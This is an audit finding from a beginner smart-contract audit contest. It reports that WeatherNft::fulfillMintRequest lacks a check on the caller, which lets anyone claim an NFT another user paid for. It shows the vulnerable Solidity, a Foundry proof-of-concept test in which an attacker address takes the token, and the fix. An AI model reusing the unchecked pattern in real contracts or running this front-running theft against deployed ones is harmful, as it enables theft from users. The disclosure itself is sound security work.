Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Front-running vulnerability in function `WeatherNft::fulfillMintRequest()`, leading to a token steal

Root + Impact

Front-running vulnerability in function WeatherNft::fulfillMintRequest(), leading to a token steal

Description

The WeatherNft::fulfillMintRequest function does not validate that the msg.sender address matches the rightful owner, requested the NFT to be minted. This allows an attacker to front-run a legitimate user and steal the token.

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
requestId
];
@> // missing validation - does the msg.sender match the address requested NFT minting
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(
requestId,
msg.sender,
Weather(weather)
);
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);

Risk

Likelihood: High

Impact:

  • Token steal: without proper function validation, anybody can claim the already requested NFT token and effectively steal it

Proof of Concept

function test_stealingToken() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = true;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
vm.startPrank(user);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode,
isoCode,
registerKeeper,
heartbeat,
initLinkDeposit
);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(, , , reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
assert(reqId != bytes32(0));
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
address tokenOwner = weatherNft.ownerOf(tokenId);
assertEq(tokenOwner, attacker);
}

Tools Used

Manual review
Foundry

Recommended Mitigation

Add the following validation in function WeatherNft::fulfillMintRequest()

function fulfillMintRequest(bytes32 requestId) external {
bytes memory response = s_funcReqIdToMintFunctionReqResponse[requestId].response;
bytes memory err = s_funcReqIdToMintFunctionReqResponse[requestId].err;
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
if (response.length == 0 || err.length > 0) {
return;
}
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[
requestId
];
+
+ require(_userMintRequest.user == msg.sender, WeatherNft__Unauthorized());
+
uint8 weather = abi.decode(response, (uint8));
uint256 tokenId = s_tokenCounter;
s_tokenCounter++;
emit WeatherNFTMinted(
requestId,
msg.sender,
Weather(weather)
);
_mint(msg.sender, tokenId);
s_tokenIdToWeather[tokenId] = Weather(weather);

This ensures that the user claiming the NFT is the original address, requested the NFT minting, preventing token stealing.

Updates

Appeal created

bube Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!